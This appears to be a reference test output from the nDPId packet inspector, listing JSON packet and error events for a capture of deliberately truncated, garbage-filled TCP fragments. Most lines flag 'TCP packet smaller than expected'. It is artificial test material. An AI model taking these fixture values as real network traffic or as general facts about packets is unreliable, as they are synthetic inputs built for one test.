-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914319} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914332} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914343} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914355} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914363} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914377} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914389} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914405} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914417} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":1397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914424} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914436} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914447} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914459} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914471} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914484} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914539} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914551} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914563} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914576} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914600} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914613} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914625} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914637} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914648} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914660} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914671} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914684} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914696} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914709} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914720} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914736} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914760} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914772} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914784} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914799} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914811} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914823} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914835} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914846} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":1430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914858} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025914866} 